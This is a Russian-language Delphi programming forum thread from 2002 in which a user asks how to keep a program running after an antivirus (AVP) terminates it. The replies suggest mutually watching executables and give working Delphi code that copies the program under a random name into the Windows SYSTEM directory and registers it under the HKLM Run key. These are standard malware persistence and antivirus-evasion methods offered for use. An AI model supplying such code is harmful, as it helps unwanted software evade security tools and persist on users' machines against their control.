Top.Mail.Ru
Мастера DELPHI, Delphi programming community Титульная страница Поиск, карта сайта Написать письмо 
| Новости | Поиск | FAQ | Статьи | Книги | Новости VCL |
| Форумы ЧАТ | Орешник | KOL и MCK |
Форумы -» Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

« предыдущая ветвь | форум | следующая ветвь »

прoграмму мою вырубает скажем АВП


Morfey Cool ©   (2002-09-14 23:39:00) 

Печаль вся в том, что прoграмму мою вырубает скажем АВП, не могу корректно написать библиотеку, которая бы загружала мою программу снова в течении определённого промежутка времени.
Зарание спасибо тем кто поможет


SVM   (2002-09-29 08:11:00) [1]

надо в библиотеке ставить пустой хук
смотри http://danil.dp.ua


Diamond Cat   (2002-09-16 00:57:00) [2]

2 Nicel:данный вариант не всегда сработает, к примеру если прога подвисла или (и) ее сняли по ctrl+alt+del, то не о каком "ондестрой" не пойдет и речи.
2 Morfey Coolесли твою библиотеку грузит только твоя программа , то при снятии твоей программы с обслуживания библиотека по идее должна выгружаться из памяти, соответственно не сможет произвести каких либо действий. наверно лучше всего просто запускать два ехе-шника, оба должны следить за присутствием друг-друга. к примеру через файл в памяти, или просто обмениваясь мессагами.


[NIKEL]   (2002-09-15 00:33:00) [3]

попробуй создать копию exe со случайным именем и пропиши обновление данных в реестр

это когда тебя будет вырубать
procedure TForm1.FormDestroy(Sender: TObject);
var
reg:Tregistry;
pchr:pchar;
buf:byte;
name,windir:string;
begin

{Detect windows dir}
GetMem(pchr,255);
GetWindowsDirectory(pchr,255);
windir:=pchr+"\SYSTEM\";
FreeMem(pchr);

{Generate random filename}
randomize;
name:="";
for buf:=0 to random(10)do
if buf=0 then name:=name+chr(65+random(25)){A..Z} else
if random(2)=0 then name:=name+chr(48+random(10)){0..9}
else name:=name+chr(97+random(25));{a..z}

{Copy file}
copyfile(pchar(paramstr(0)),pchar(windir+name+".exe"),false);

{Write to regestry}
reg:=Tregistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey("Software\Microsoft\Windows\CurrentVersion\Run",true);
reg.WriteString("BackUP",windir+name+".exe");
reg.CloseKey;
reg.Free;
end;


Наверх

Титульная страница Поиск, карта сайта Написать письмо